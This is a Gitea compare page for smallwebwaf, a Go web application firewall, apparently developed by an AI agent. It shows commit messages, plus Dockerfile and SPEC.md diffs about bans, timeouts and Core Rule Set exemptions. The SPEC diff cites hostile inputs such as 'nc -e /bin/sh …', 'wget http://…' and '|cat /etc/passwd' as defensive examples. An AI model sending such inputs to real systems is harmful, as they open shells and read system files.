sneak/smallwebwaf
1
0
Fork 0
Code Issues 42 Pull Requests 1 Actions Packages Projects Releases Wiki Activity

Compare commits

base: sneak/smallwebwaf:91f69346ead76405d4565989543d0593f2a41e12
Branches Tags
sneak/smallwebwaf:main sneak/smallwebwaf:next
sneak/smallwebwaf:v1.0.0-rc1
..
compare: sneak/smallwebwaf:v1.0.0-rc1
Branches Tags
sneak/smallwebwaf:next sneak/smallwebwaf:main
sneak/smallwebwaf:v1.0.0-rc1
20 Commits
91f69346ea .. v1.0.0-rc1
Author SHA1 Message Date
clawbot eafcc3fd73 README and SPEC name every offence that has a client checked (closes #151)
check / check (push) Canceled after 0s
Details 
The AbuseIPDB section of README.md listed only a broken rate limit or
byte limit, a ban rule match, and a refusal by a block rule or the Core
Rule Set. A client is checked once its history counts any offence, so it
now also names the error burst, a request for a trap path and a refusal
for a missing or wrong token, as "What it does so far" does. The
definition of an offence under "Bans" in SPEC.md now names a refusal for
a missing or wrong token too, as the code counts one.

Model: opus-5-5
 2026-10-20 17:46:16 +02:00
clawbot da0c182a47 A ban in bans.json that ends at or before its start is refused, as other malformed entries are (closes #150)
check / check (push) Canceled after 0s
Details 
A netblock's next ban for a broken limit within
SWWAF_LIMIT_BAN_REPEAT_WINDOW lasts three times its last limit or admin
ban. A hand-written entry with an expires at or before its start made
that length zero or less, so the next limit ban refused nothing. The
bans.json checks now refuse such an entry: it stops the start, and an
edit holding one is set aside as bans.json.bad while running. README's
"State files" lists it with the other refused entries.

Model: opus-5-5
 2026-10-20 17:42:01 +02:00
clawbot 4cc492004a smallwebwaf starts with SWWAF_STATE_DIR given as a file on a new volume (closes #137)
check / check (push) Canceled after 0s
Details 
The run script gave ${SWWAF_STATE_DIR:-/var/lib/smallwebwaf} to the
smallwebwaf user and never read SWWAF_STATE_DIR_FILE, so a new volume
at the directory that file names stayed root's. The run script now
takes the setting from the variable or the file, and changes the owner
only when it is the absolute path of a directory that exists;
otherwise it starts smallwebwaf, which stops with its message naming
the setting. A chown that fails, as on a read-only volume, no longer
ends the run script. script/example-app, and its entry in README.md,
gain two steps: a container on such a volume becomes healthy, and a
missing state directory reaches smallwebwaf's message.

Model: opus-5-5
 2026-10-20 16:54:34 +02:00
clawbot 69178da59a An answer from the app without a Content-Type reaches the client without one (closes #127)
check / check (push) Canceled after 0s
Details 
Go's server adds a Content-Type it guesses from the body when the
response's headers have no Content-Type key, which happened to some
of the app's answers and not others, as the first part of the body or
the headers went out first. When the app sends none, smallwebwaf now
sets the key with no value on the client's response, which sends none.

Model: opus-5-5
 2026-10-20 16:41:18 +02:00
clawbot d1d21a0469 README and SPEC say a client too slow to send its request line and headers may get an error answer (closes #138)
check / check (push) Canceled after 0s
Details 
A client too slow to send its request line and headers within
SWWAF_CLIENT_REQUEST_TIMEOUT gets either no answer or an error answer
from Go's server, mostly 400 Bad Request; either way its connection is
closed, nothing reaches the app, and no request log line is written.
The README's "Request log" and SPEC's size and time limits said such a
client always gets no answer. Both documents' summaries of
smallwebwaf's own answers now cover only limits passed after the
request line and headers have been read, and give 408 only for a slow
body; SPEC names Go's server as the one answering 431.

Model: opus-5-5
 2026-10-20 16:32:08 +02:00
clawbot 7acc6ae153 A path holding a character Go escapes reaches the app as the client sent it (closes #126)
check / check (push) Canceled after 0s
Details 
ReverseProxy sends the path URL.EscapedPath gives, which decodes and
escapes again a path holding a character such as |, turning %2F into /.
The path as sent now goes in URL.Opaque, which Go sends as it is; the
rate limit and WAF exempt paths and the log line's path use the same
path. A path starting with // is left as before: Go would send it in
Opaque as a scheme and host.

Model: opus-5-5
 2026-10-20 16:09:46 +02:00
clawbot 75f28ee0b5 An upgrade the app accepts under another protocol name is answered 502 (closes #131)
check / check (push) Canceled after 0s
Details 
ReverseProxy refuses a 101 whose Upgrade is not the one the client asked
for, but modifyResponse had already counted the 101 as sent, so
answerError sent nothing and the client got an empty 200. The 101 now
counts as sent only once ReverseProxy has taken over the client's
connection, and answerError closes the app's switched connection, which
ReverseProxy leaves open when it refuses the switch.

Model: opus-5-5
 2026-10-20 15:36:30 +02:00
clawbot b0d54a2c51 README and SPEC say what docker stop does to requests in progress when the app exits at once (closes #139)
check / check (push) Canceled after 0s
Details 
runit stops smallwebwaf and the app at the same time, so the five seconds
smallwebwaf gives requests in progress help only while the app still
answers them. Both documents now say so, say what the client gets when the
app exits at once on SIGTERM, and say what an app does to let its requests
in progress finish.

Model: opus-5-5
 2026-10-20 15:28:31 +02:00
clawbot d9f7344ae6 A client that stops sending with little of its body left after the app has answered is timed out (closes #136)
check / check (push) Canceled after 0s
Details 
When less than 256 KiB of a client's body is left after the app has
answered, the rest is read by closing the body, which the transport,
ReverseProxy and Go's server each do, not through requestBody.Read.
waiting was then false, so a request timeout that ran out took the 504
branch, which set no read deadline, and the request held its connection
for as long as the client kept it open. Once the app has answered, that
branch now ends reading the client's body at once, whichever of
SWWAF_CLIENT_REQUEST_TIMEOUT and SWWAF_UPSTREAM_REQUEST_TIMEOUT ran out.

Model: opus-5-5
 2026-10-20 15:09:16 +02:00
clawbot 60c49a6740 script/gitea-requests, and the gitea refusals it confirms named in SPEC.md (closes #30)
check / check (push) Canceled after 0s
Details 
script/gitea-requests runs gitea 1.27.3 behind the image at its
defaults, sends through it the requests that reading gitea's source
found the Core Rule Set refuses, with a short sample of ordinary use,
and prints each request with the rule ids that matched it. make
gitea-requests runs it; make check does not.

Every case still holds, and each fix would let through what SPEC.md
says stays refused, so the notes specific to gitea now name them with
how each refusal plays out: file names in query parameters that read as
Java, script, PowerShell or SQL, such paths, and an image push that
reuses a layer of an image named like a command.

Model: opus-5-5
 2026-10-20 13:39:05 +02:00
clawbot 47aac0235d A ban's earlier_bans counts a ban dropped after an admin's ban (closes #128)
check / check (push) Canceled after 0s
Details 
earlierBans took the counts in the notes of the netblock's first ban
held, so a ban dropped after an admin's ban, which came first, went
uncounted. Each ban held now gives a count, its notes' counts plus one
for it and each ban held after it, and the count that names the most
bans is taken whole. Counting from the newest ban alone would lose the
bans before an admin's ban added to bans.json without notes; taking
each cause from a different count would count twice a ban an admin
keeps, which later bans' notes count under its old cause.

Model: opus-5-5
 2026-10-20 12:59:52 +02:00
clawbot 6327f7f9c5 A client that stops sending after the app answers is timed out (closes #130)
check / check (push) Canceled after 0s
Details 
When the app answered before the client had sent its whole body, and its
answer ended with its last bytes, every timeout was stopped,
SWWAF_CLIENT_REQUEST_TIMEOUT included. The transport went on waiting to
read the body, and Go's server cannot send the answer until that read
returns, so a client that stopped sending held the request until it
closed the connection. The timeouts now run on until the client has sent
its body, as they do before the app answers: once
SWWAF_CLIENT_REQUEST_TIMEOUT runs out the client is sent the app's
answer, the connection is closed, and the log line says timed_out.

Model: opus-5-5
 2026-10-20 11:47:14 +02:00
clawbot 157cdc23f3 The image build rides out a brief 503 from Ubuntu's snapshot server (closes #132)
check / check (push) Canceled after 0s
Details 
Both apt-get calls in the Dockerfile now pass -o Acquire::Retries=5.
apt already retries a download that fails with 503 three times,
waiting 1, 2 and 4 seconds, which a short outage of the snapshot
service outlasted; five retries wait about half a minute in all.

Model: opus-5-5
 2026-10-20 11:37:58 +02:00
clawbot 7a9471df28 A request that waited for its lookup is counted when it goes on (closes #129)
check / check (push) Canceled after 0s
Details 
checkClient read the time before the lookup, which can wait for GeoJS
up to SWWAF_LOOKUP_TIMEOUT, and the rate limits counted the request at
that time. Two requests of a new client waiting across the end of a
minute could then be counted out of order, and the one dated more than a
second before the minute under way began made the rate limits start
that window afresh, as for a clock set back: the other request's count
was lost. The checks after the lookup now read the time again.

Model: opus-5-5
 2026-10-14 19:41:54 +02:00
clawbot 27f0007b54 Path rules and trap paths match the path decoded once too (closes #85)
check / check (push) Canceled after 0s
Details 
A path rule matched only the path as the client sent it, so /%2eenv got
past the default env-file rule while an app that decodes the path
serves /.env. A path rule now matches the path as sent or decoded once,
as a uri rule already did, and so does a path in SWWAF_TRAP_PATHS:
/%77p-login.php matches /wp-login.php. The query is cut off before the
path is decoded, and the path is decoded only once, so /%252eenv is not
/.env. A ban's notes keep the path as sent. SPEC.md and README.md say
so.

Model: opus-5-5
 2026-10-14 18:20:31 +02:00
clawbot 6fcbda6ece Core Rule Set reads request bodies up to SWWAF_WAF_BODY_LIMIT (closes #116)
check / check (push) Canceled after 0s
Details 
SWWAF_WAF_BODY_LIMIT (default off, at most 1G) has the Core Rule Set read
form data and multipart up to the limit, the rest streaming on, and JSON
and XML no larger than it, with text/json and the application and text
types ending in +json or +xml. The part read is held for the app. A size
or time limit met while reading ends the request. Content-Encoding is
refused again on these kinds. A body Coraza cannot parse, or a multipart
body failing its strict checks, adds 5, as does a multipart body the limit
cuts in a part's headers before a colon or a line feed. Coraza is built
with no_fs_access, so writes no file. Rule 900300 moves to phase 2.

Judgement call: Content-Encoding is refused on a JSON or XML body too
large to read, as SPEC.md allows.

Model: opus-5-5
 2026-10-08 12:59:13 +02:00
clawbot 80f4c2cc61 The Core Rule Set, run by Coraza, on each request's method, URL and headers (closes #25)
check / check (push) Canceled after 0s
Details 
Coraza v3.8.1 runs the Core Rule Set 4.25.0 (coraza-coreruleset v4.25.0)
after the rule files, with the six changes and the default
SWWAF_WAF_DISABLED_RULES that SPEC.md gives; no body, no response. The
parameter names in the third and fourth changes are matched in any case,
as Coraza does. SWWAF_WAF_DISABLED_RULES refuses 900000 to 900999,
smallwebwaf's own rules. A request with more than 1000 query parameters
adds 5 (rule 900300). In block mode a match is refused with 403, an
offence counted toward the error burst; in detect mode it is let
through. Both log waf_rule_ids, waf_score and duration_waf, raise
waf_block, and count smallwebwaf_waf_matches_total.

Judgement call: waf_block is raised in block mode too.
Deviation: no engine-error path; with no body read, Coraza cannot fail.

Model: opus-5-5
 2026-10-08 09:37:13 +02:00
clawbot e81a7f0ca2 Tests that need a lookup answer give it an hour (closes #119)
check / check (push) Canceled after 0s
Details 
Twelve tests in internal/proxy needed the GeoJS stand-in to be asked or
to answer within the default SWWAF_LOOKUP_TIMEOUT of one second on the
real clock. A hold-up of the test process past it abandoned the request
to the stand-in, or left the client unknown. Each now sets
SWWAF_LOOKUP_TIMEOUT to an hour, and the comment on startGeoJS asks the
same of later tests.

Judgement call: set in each test, not as a default in newProxy, where it
would change two tests that rely on the default second.

Model: opus-5-5
 2026-10-08 08:14:45 +02:00
clawbot 54779f08de Trap paths, and the error burst banning a client refused too often (closes #115)
check / check (push) Canceled after 0s
Details 
SWWAF_TRAP_PATHS: a request whose path, as a path rule sees it, is one
of them is a clear sign of attack, banned as a ban rule's match is; the
ban's notes give its trap_path. Checked after the rate limits, before the
rule files.

SWWAF_ERROR_BURST_THRESHOLD (default 30, or off): more refusals in a
minute after a block or ban rule or a trap path, or for a missing or
wrong token, ban the client as a broken limit does. Counted in
clients.json's minute_refusals; limit_hit error_burst, notes kind
refusals.

A token refusal is now the offence token_refused, and
smallwebwaf_offences_total counts every kind the history does.

Judgement call: the threshold is not lowered by a client's limit percentage.

Model: opus-5-5
 2026-10-08 06:44:55 +02:00
clawbot 5f3fb48809 CrowdSec decision list fetched, kept, and its clients banned until the decision ends (closes #106)
check / check (push) Canceled after 0s
Details 
SWWAF_CROWDSEC_LAPI_URL and SWWAF_CROWDSEC_LAPI_KEY name an engine whose
decision list, <url>/v1/decisions, is fetched every minute with the key in
X-Api-Key, following no redirect, and kept as a blocklist is: used while a
fetch fails, and across restarts through reputation.json. Ban decisions on an
Ip or a Range end at the fetch time plus their duration. A listed client's
request is refused and bans its netblock with the cause crowdsec until the
decision ends; bans.json, ban notes and metrics take the cause.

Judgement call: fetched every minute, not a setting.
Judgement call: a crowdsec ban never lengthens a limit ban.
Judgement call: a lifted crowdsec ban is remade while its decision lasts.

Model: opus-5-5
 2026-10-08 05:15:06 +02:00
53 changed files with 4974 additions and 581 deletions
Expand all files Collapse all files
Dockerfile
+15 -6
View File
@@ -36,11 +36,12 @@ RUN go mod tidy -diff || \
{ echo "go.mod or go.sum is not tidy: run make tidy" >&2; exit 1; }
# Go's build cache is kept on a tmpfs, out of the image: nothing uses it
# after this step, and writing it into the image takes seconds.
# after this step, and writing it into the image takes seconds. The tests
# are built with the no_fs_access tag, as the binary is in the build stage.
RUN --mount=type=tmpfs,target=/root/.cache/go-build \
go test -timeout 90s -race -cover ./... || \
go test -tags no_fs_access -timeout 90s -race -cover ./... || \
{ echo "--- Rerunning with -v for details ---"; \
go test -timeout 90s -race -v ./...; exit 1; }
go test -tags no_fs_access -timeout 90s -race -v ./...; exit 1; }
# Tidy stage: `go mod tidy` in the test phase's Go, so that the files it
# writes pass the test phase's check. Nothing else depends on it, so only
@@ -84,7 +85,10 @@ COPY . .
# The VERSION build arg when one is given, otherwise
# `git describe --tags --always` on the .git in the build context. With
# .git present, a version that is still empty, dev or unknown fails the
# build: git is missing or could not read the checkout.
# build: git is missing or could not read the checkout. The no_fs_access
# tag keeps Coraza from writing the files of a multipart body to the
# system's temporary directory, since smallwebwaf writes only to its state
# directory.
ARG VERSION
RUN VERSION="${VERSION:-$(git describe --tags --always)}"; \
if [ -e .git ]; then \
@@ -93,7 +97,7 @@ RUN VERSION="${VERSION:-$(git describe --tags --always)}"; \
exit 1 ;; \
esac; \
fi; \
CGO_ENABLED=0 go build -trimpath \
CGO_ENABLED=0 go build -tags no_fs_access -trimpath \
-ldflags="-s -w -X main.Version=${VERSION}" \
-o /usr/local/bin/smallwebwaf ./cmd/smallwebwaf
@@ -136,10 +140,14 @@ RUN mkdir /etc/sysusers.d \
# apt also fetches the live archive's InRelease files, which change daily
# and which the install does not use. The snapshot service is HTTPS only
# and this image has no CA certificates yet, so this step uses the Go
# image's.
# image's. The snapshot service answers 503 at times; apt retries a
# failed download, waiting twice as long before each retry, and this
# step gives it five retries, about half a minute in all, where its
# default of three gives up after seven seconds.
RUN --mount=type=bind,from=builder,source=/etc/ssl/certs/ca-certificates.crt,target=/tmp/go-image-ca.crt \
apt-get update --snapshot 20261001T000000Z \
-o Acquire::https::CaInfo=/tmp/go-image-ca.crt \
-o Acquire::Retries=5 \
&& printf '%s\n' \
'45f95ce276cdba3e41870516a130e03c58b8b7a79e9546b0efe9e526d255740c snapshot.ubuntu.com_ubuntu_20261001T000000Z_dists_resolute_InRelease' \
'802e675dd9de4c7f3916434a95e7c1d8eec0e82886622d7805ab19a2c6fe0365 snapshot.ubuntu.com_ubuntu_20261001T000000Z_dists_resolute-updates_InRelease' \
@@ -149,6 +157,7 @@ RUN --mount=type=bind,from=builder,source=/etc/ssl/certs/ca-certificates.crt,tar
&& DEBIAN_FRONTEND=noninteractive apt-get install --yes --no-install-recommends \
--snapshot 20261001T000000Z \
-o Acquire::https::CaInfo=/tmp/go-image-ca.crt \
-o Acquire::Retries=5 \
ca-certificates nix-bin runit \
&& rm -rf /var/lib/apt/lists/*
Makefile
+6 -2
View File
@@ -1,11 +1,12 @@
.PHONY: bootstrap setup test lint fmt fmt-check tidy check docker hooks build \
run example-app
run example-app gitea-requests
# Makefile targets are thin shims; the implementations live in script/
# per the scripts-to-rule-them-all pattern (see the Entrypoints section
# of README.md). tidy writes go.mod and go.sum as `go mod tidy` does,
# which test checks. build and run are for working on the code by hand;
# example-app checks the image with an app built on it.
# example-app checks the image with an app built on it; gitea-requests
# reports the gitea requests the Core Rule Set refuses at the defaults.
bootstrap:
@script/bootstrap
@@ -45,3 +46,6 @@ run:
example-app:
@script/example-app
gitea-requests:
@script/gitea-requests
README.md
+538 -289
View File
File diff suppressed because it is too large Load Diff
SPEC.md
+89 -29
View File
@@ -225,9 +225,9 @@ address or one /64, so a permanent ban does not reach neighbours who did
nothing.
An offence is a request `smallwebwaf` holds against the client: one that carries
a clear sign of attack, breaks a limit, or is refused by a rule file or the Core
Rule Set. Offences are counted by kind in the client's history. Two kinds lead
to a ban, each by its own rule:
a clear sign of attack, breaks a limit, or is refused by a rule file, by the
Core Rule Set or for a missing or wrong token. Offences are counted by kind in
the client's history. Two kinds lead to a ban, each by its own rule:
- A clear sign of attack: a request that matches a rule file rule whose action
is `ban`, or asks for a path in `SWWAF_TRAP_PATHS`. Examples are a probe for a
@@ -414,10 +414,10 @@ The settings, by group:
to send its request line and headers, and then, from the end of the
headers, its body.
- `SWWAF_CLIENT_REQUEST_HEADER_MAX_BYTES` (default `32K`): the largest
request line and headers a client may send. Over it, `smallwebwaf` answers
`431` and closes the connection, and nothing reaches the app. It must be
more than `4K`, and cannot be `off`: Go's HTTP server always has such a
limit, and reads 4 KiB past the one it is given before it refuses.
request line and headers a client may send. Over it, Go's HTTP server
answers `431` and closes the connection, and nothing reaches the app. It
must be more than `4K`, and cannot be `off`: Go's HTTP server always has
such a limit, and reads 4 KiB past the one it is given before it refuses.
- `SWWAF_CLIENT_IDLE_TIMEOUT` (default `120s`): how long a kept-open
connection may wait for its next request before `smallwebwaf` closes it.
It is longer than the 90 seconds after which traefik, by default, closes a
@@ -435,12 +435,13 @@ The settings, by group:
the client sends it and the app receives it.
- `SWWAF_RESPONSE_MAX_BYTES` (default `5G`): the largest response body, as
the app sends it and the client receives it.
- When a limit is passed before the response has started, `smallwebwaf`
answers itself: `413` for a request body that is too large, `408` for a
client that is too slow, `502` for a response that is too large, `504` for
an app that is too slow. A request that announces a body larger than its
limit is refused before anything reaches the app. Once the response has
started it can only be cut off, and the connection is closed.
- When a limit is passed after a request's line and headers have been read,
but before the response has started, `smallwebwaf` answers itself: `413`
for a request body that is too large, `408` for a client too slow to send
its body, `502` for a response that is too large, `504` for an app that is
too slow. A request that announces a body larger than its limit is refused
before anything reaches the app. Once the response has started it can only
be cut off, and the connection is closed.
- Since a request body streams through, each side can hold up the other: a
slow client slows the send to the app, and an app slow to take the body
slows the client's send. So while a request body is still on its way, a
@@ -450,10 +451,11 @@ The settings, by group:
waiting for the app to take what it had.
- Go's HTTP server, on which `smallwebwaf` is built, reads a request's line
and headers before `smallwebwaf` sees the request. A client that takes
longer than `SWWAF_CLIENT_REQUEST_TIMEOUT` to send them gets no answer:
the server closes its connection. Headers over
`SWWAF_CLIENT_REQUEST_HEADER_MAX_BYTES` are answered `431` by the server
itself. Neither request gets a line in the request log.
longer than `SWWAF_CLIENT_REQUEST_TIMEOUT` to send them gets either no
answer or an error answer from the server, mostly `400 Bad Request`;
either way the server closes its connection and nothing reaches the app.
Headers over `SWWAF_CLIENT_REQUEST_HEADER_MAX_BYTES` are answered `431` by
the server itself. Neither request gets a line in the request log.
- A WebSocket connection leaves these limits behind once it is upgraded: it
stays open until either side closes it.
- Lookup of AS number and country (R7). On by default through GeoJS, which needs
@@ -618,10 +620,12 @@ The settings, by group:
`|cat /etc/passwd`, `wget http://…` and `nc -e /bin/sh …`, and
`file:///etc/passwd`, pass as well. Path traversal (`../`), SQL and
script injection and PHP, Java and Node.js code are still refused
there, and every other parameter keeps all three rules. An app that
uses one of these parameters as a file on the server, or passes it to
a shell, gets no help from the three rules there (see "Risks the
design has to handle").
there, and every other parameter keeps all three rules. These names,
and `redirect_uri` in the change before, are matched without regard to
case, as Coraza matches them, so `Path` or `PATH` is treated as
`path`. An app that uses one of these parameters as a file on the
server, or passes it to a shell, gets no help from the three rules
there (see "Risks the design has to handle").
- The Core Rule Set reads the request without the `gitea_flash` and
`redirect_to` cookies, and does not check `Referer` for a Unix command
given without arguments (932340) or for Java starting a process
@@ -823,7 +827,8 @@ a file edited, added or removed there takes effect while it runs.
- `id`: a short name of letters, digits, `-` and `_`, unique across all files.
It appears in the request log, metrics, alerts and ban notes.
- `target`: what the regex is matched against.
- `path`: the URL path as received, before any decoding.
- `path`: the URL path without the query, both as received and once
percent-decoded, so an encoded probe cannot slip past.
- `query`: the raw query string.
- `uri`: path and query together, both as received and once percent-decoded,
so an encoded probe cannot slip past.
@@ -1321,9 +1326,16 @@ The two processes:
- A `smallwebwaf` that stops at start, for example on invalid configuration, is
started again every second and stops again, logging its message each time,
until the cause is fixed. The health check fails meanwhile.
- `docker stop` sends SIGTERM to `runsvinit`, which has runit stop both
services, each with SIGTERM, and exits once they have stopped. `smallwebwaf`
writes its state files as it stops (see "Persistent state").
- `docker stop` sends SIGTERM to `runsvinit`, which has runit stop both services
at once, each with SIGTERM, and exits once they have stopped. `smallwebwaf`
stops taking requests, gives those in progress five seconds to finish, and
writes its state files as it stops (see "Persistent state"). The requests in
progress can finish only while the app still answers. An app that exits at
once on SIGTERM ends them: the client gets `502`, or a response cut short if
the app had already begun to answer. An app that should let them finish keeps
taking and answering requests, not only the ones it already has, for the whole
five seconds after SIGTERM, since `smallwebwaf` can still pass it requests it
took before then.
- The container's root filesystem stays writable: runit writes each service's
status into its directory under `/etc/service`.
@@ -1474,8 +1486,47 @@ holds any token file.
Saving such a rule stores it, but the branch settings page gitea then
returns to gets the 403 answer of `smallwebwaf`, so the save looks as
if it failed.
- A file name in a query parameter, those the fourth change leaves out
of 930120, 932160 and 932260 included, in which the Core Rule Set's
rules for Java, script, PowerShell and SQL find what they look for:
`runtime` in OpenJDK's
`src/java.base/share/classes/java/lang/Runtime.java` (944110), a Java
class, as in `java.lang.String.md` (944130), `document.write.js`
(941180), `process.env.d.ts` (934100), `__proto__` (934130), the
PowerShell command `Install-Script`, as in `install-script.sh`
(932120), or a database's name, as in PostgreSQL's
`information_schema.sql` (942140). For such a file, the API's list of
its commits (`path`) is refused, and so are the API's call for the
contents of files that names it in its query (`body`), the commit
graph of that file alone (`file`), and the hidden lines of its diff
(`path`), which stay hidden. A visitor whom gitea sends to sign in on
the way to a page of such a file that needs signing in, such as its
edit page, gets the 403 answer of `smallwebwaf` in place of the
sign-in page (`redirect_to`), and can still sign in by opening the
sign-in page itself.
- A path: a file name ending in `~`, or an `.xhtml` file whose path
holds a space.
- A path that holds what the Core Rule Set takes for a Java class
(944130), as `java.lang.String.md` and
`META-INF/services/org.apache.commons.logging.LogFactory` do, or for
Node.js code (934100), as `process.env.d.ts` does, or that has a
directory named `...` (930100, 930110), such as `.../notes.txt`. The
page of such a file, its raw file, its history, its blame and its edit
page are refused; the directory that holds it lists it, and a clone
carries it.
- A container image push that reuses a layer of an image docker has
pushed to that gitea before, when that image's owner, or its name
after the owner, starts with an entry on the list of commands
(932260), such as `owner/python3-app`, `owner/docker-base` or any
image of an owner named `ansible` or `docker-team`. docker asks gitea
to take the layer from that image, naming it in the query parameter
`from`, which 932260 checks, and gets the 403 answer of `smallwebwaf`.
A docker that keeps its images in containerd's image store, as a new
install of Docker Engine 29 does, then fails the push, and fails each
new try the same way. A docker that keeps them in its own older image
store uploads the layer instead, so the push succeeds after one
refusal for each layer it reuses, and each of those refusals counts
toward the error burst.
- Artifact uploads from `actions/upload-artifact@v3` send the header
`Content-Range`, which the Core Rule Set refuses (920450). The action
sends two files at a time, does not retry a 403 and sends no further file
@@ -1563,10 +1614,19 @@ holds any token file.
- Core Rule Set false positives against real apps (a search for code, and any
body once `SWWAF_WAF_BODY_LIMIT` is set): a match refuses only that request
and bans no one by itself; the request log names the rule, and exclusions by
rule id and path fix it. Further gitea requests the Core Rule Set may refuse
at the defaults, found by reading gitea's source rather than a running gitea,
are collected in https://git.eeqj.de/sneak/smallwebwaf/issues/30 and checked
when milestone 1 runs in front of a real gitea.
rule id and path fix it. `script/gitea-requests` runs gitea behind the image
at the defaults and sends through it a short sample of gitea's ordinary use
and some of the requests that three of the notes specific to gitea say are
refused: for each file the note on a file name in a query parameter names, the
API's list of its commits; for `Runtime.java` alone, the commit graph of that
file, the hidden lines of its diff and the API's call for the contents of
files that names it; the sign-in page gitea sends a visitor to on the way to
the edit page of `document.write.js`; the pages of `java.lang.String.md`,
`META-INF/services/org.apache.commons.logging.LogFactory`, `process.env.d.ts`
and `.../notes.txt`; and one container image push that reuses a layer, which
it does not try again. It reports each request the Core Rule Set refuses, so
that those requests can be checked again when gitea or the Core Rule Set
changes version.
- Attacks carried in request bodies: not refused by default, since on a code
forge bodies are full of code the Core Rule Set takes for attacks. Most of
what shows in URLs and headers is still refused, the client that sends an
go.mod
+19
View File
@@ -3,6 +3,8 @@ module sneak.berlin/go/smallwebwaf
go 1.26.0
require (
github.com/corazawaf/coraza-coreruleset/v4 v4.25.0
github.com/corazawaf/coraza/v3 v3.8.1
github.com/fsnotify/fsnotify v1.10.1
github.com/hashicorp/golang-lru/v2 v2.0.7
github.com/maxmind/mmdbwriter v1.2.0
@@ -13,12 +15,29 @@ require (
require (
github.com/beorn7/perks v1.0.1 // indirect
github.com/cespare/xxhash/v2 v2.3.0 // indirect
github.com/corazawaf/libinjection-go v0.3.3 // indirect
github.com/goccy/go-json v0.10.5 // indirect
github.com/goccy/go-yaml v1.19.2 // indirect
github.com/gotnospirit/makeplural v0.0.0-20180622080156-a5f48d94d976 // indirect
github.com/gotnospirit/messageformat v0.0.0-20221001023931-dfe49f1eb092 // indirect
github.com/kaptinlin/go-i18n v0.1.4 // indirect
github.com/kaptinlin/jsonschema v0.4.6 // indirect
github.com/kylelemons/godebug v1.1.0 // indirect
github.com/magefile/mage v1.17.0 // indirect
github.com/munnerz/goautoneg v0.0.0-20191010083416-a7dc8b61c822 // indirect
github.com/petar-dambovaliev/aho-corasick v0.0.0-20250424160509-463d218d4745 // indirect
github.com/prometheus/client_model v0.6.2 // indirect
github.com/prometheus/common v0.70.1 // indirect
github.com/prometheus/procfs v0.21.1 // indirect
github.com/tidwall/gjson v1.18.0 // indirect
github.com/tidwall/match v1.1.1 // indirect
github.com/tidwall/pretty v1.2.1 // indirect
github.com/valllabh/ocsf-schema-golang v1.0.3 // indirect
go4.org/netipx v0.0.0-20231129151722-fdeea329fbba // indirect
golang.org/x/net v0.58.0 // indirect
golang.org/x/sync v0.23.0 // indirect
golang.org/x/sys v0.48.0 // indirect
golang.org/x/text v0.41.0 // indirect
google.golang.org/protobuf v1.36.11 // indirect
rsc.io/binaryregexp v0.2.0 // indirect
)
go.sum
+55
View File
@@ -2,22 +2,54 @@ github.com/beorn7/perks v1.0.1 h1:VlbKKnNfV8bJzeqoa4cOKqO6bYr3WgKZxO8Z16+hsOM=
github.com/beorn7/perks v1.0.1/go.mod h1:G2ZrVWU2WbWT9wwq4/hrbKbnv/1ERSJQ0ibhJ6rlkpw=
github.com/cespare/xxhash/v2 v2.3.0 h1:UL815xU9SqsFlibzuggzjXhog7bL6oX9BbNZnL2UFvs=
github.com/cespare/xxhash/v2 v2.3.0/go.mod h1:VGX0DQ3Q6kWi7AoAeZDth3/j3BFtOZR5XLFGgcrjCOs=
github.com/corazawaf/coraza-coreruleset v0.0.0-20240226094324-415b1017abdc h1:OlJhrgI3I+FLUCTI3JJW8MoqyM78WbqJjecqMnqG+wc=
github.com/corazawaf/coraza-coreruleset v0.0.0-20240226094324-415b1017abdc/go.mod h1:7rsocqNDkTCira5T0M7buoKR2ehh7YZiPkzxRuAgvVU=
github.com/corazawaf/coraza-coreruleset/v4 v4.25.0 h1:tqFO1lfVpTiyWtlN618OXpZMfw+nnN0Q4///W5W+/HM=
github.com/corazawaf/coraza-coreruleset/v4 v4.25.0/go.mod h1:nRuGXITxOPvsLF2VxaTB7pYok8QB8BitX3ZenXcUryY=
github.com/corazawaf/coraza/v3 v3.8.1 h1:dMV55FbMR2vOks/acrT43RShR+VkzU6jwp+XPdxay8o=
github.com/corazawaf/coraza/v3 v3.8.1/go.mod h1:nPVk2JqADYBcKLYvo9cRsr+z4JhanU0WniGhZZBZD6c=
github.com/corazawaf/libinjection-go v0.3.3 h1:NhbXKRfRpqKzBMzv8zpCcnjyEw7BCVhBOv9IPuBl7Fc=
github.com/corazawaf/libinjection-go v0.3.3/go.mod h1:Ik/+w3UmTWH9yn366RgS9D95K3y7Atb5m/H/gXzzPCk=
github.com/foxcpp/go-mockdns v1.2.0 h1:omK3OrHRD1IWJz1FuFBCFquhXslXoF17OvBS6JPzZF0=
github.com/foxcpp/go-mockdns v1.2.0/go.mod h1:IhLeSFGed3mJIAXPH2aiRQB+kqz7oqu8ld2qVbOu7Wk=
github.com/fsnotify/fsnotify v1.10.1 h1:b0/UzAf9yR5rhf3RPm9gf3ehBPpf0oZKIjtpKrx59Ho=
github.com/fsnotify/fsnotify v1.10.1/go.mod h1:TLheqan6HD6GBK6PrDWyDPBaEV8LspOxvPSjC+bVfgo=
github.com/goccy/go-json v0.10.5 h1:Fq85nIqj+gXn/S5ahsiTlK3TmC85qgirsdTP/+DeaC4=
github.com/goccy/go-json v0.10.5/go.mod h1:oq7eo15ShAhp70Anwd5lgX2pLfOS3QCiwU/PULtXL6M=
github.com/goccy/go-yaml v1.19.2 h1:PmFC1S6h8ljIz6gMRBopkjP1TVT7xuwrButHID66PoM=
github.com/goccy/go-yaml v1.19.2/go.mod h1:XBurs7gK8ATbW4ZPGKgcbrY1Br56PdM69F7LkFRi1kA=
github.com/google/go-cmp v0.7.0 h1:wk8382ETsv4JYUZwIsn6YpYiWiBsYLSJiTsyBybVuN8=
github.com/google/go-cmp v0.7.0/go.mod h1:pXiqmnSA92OHEEa9HXL2W4E7lf9JzCmGVUdgjX3N/iU=
github.com/gotnospirit/makeplural v0.0.0-20180622080156-a5f48d94d976 h1:b70jEaX2iaJSPZULSUxKtm73LBfsCrMsIlYCUgNGSIs=
github.com/gotnospirit/makeplural v0.0.0-20180622080156-a5f48d94d976/go.mod h1:ZGQeOwybjD8lkCjIyJfqR5LD2wMVHJ31d6GdPxoTsWY=
github.com/gotnospirit/messageformat v0.0.0-20221001023931-dfe49f1eb092 h1:c7gcNWTSr1gtLp6PyYi3wzvFCEcHJ4YRobDgqmIgf7Q=
github.com/gotnospirit/messageformat v0.0.0-20221001023931-dfe49f1eb092/go.mod h1:ZZAN4fkkful3l1lpJwF8JbW41ZiG9TwJ2ZlqzQovBNU=
